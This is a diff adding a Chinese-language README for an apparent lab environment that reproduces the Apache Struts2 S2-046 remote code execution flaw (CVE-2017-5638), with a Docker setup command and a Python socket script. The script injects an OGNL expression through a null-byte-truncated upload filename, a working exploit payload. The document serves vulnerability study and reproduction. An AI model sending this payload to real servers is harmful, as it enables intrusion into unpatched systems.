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struts2/s2-046/README.zh-cn.md

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+# S2-046 远程代码执行漏洞（CVE-2017-5638）
+
+影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
+
+漏洞详情:
+
+ - https://cwiki.apache.org/confluence/display/WW/S2-046
+ - https://xz.aliyun.com/t/221
+
+## 漏洞环境
+
+执行如下命令启动struts2 2.3.30：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8080`即可看到上传页面。
+
+## 漏洞复现
+
+与s2-045类似，但是输入点在文件上传的filename值位置，并需要使用`\x00`截断。
+
+由于需要发送畸形数据包，我们简单使用原生socket编写payload：
+
+```python
+import socket
+
+q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
+Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
+Content-Type: text/plain
+
+foo
+------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
+p = b'''POST / HTTP/1.1
+Host: localhost:8080
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
+Content-Length: %d
+
+'''.replace(b'\n', b'\r\n') % (len(q), )
+
+with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
+    conn.send(p + q)
+    print(conn.recv(10240).decode())
+
+```
+
+`233*233`已成功执行：
+
+![](1.png)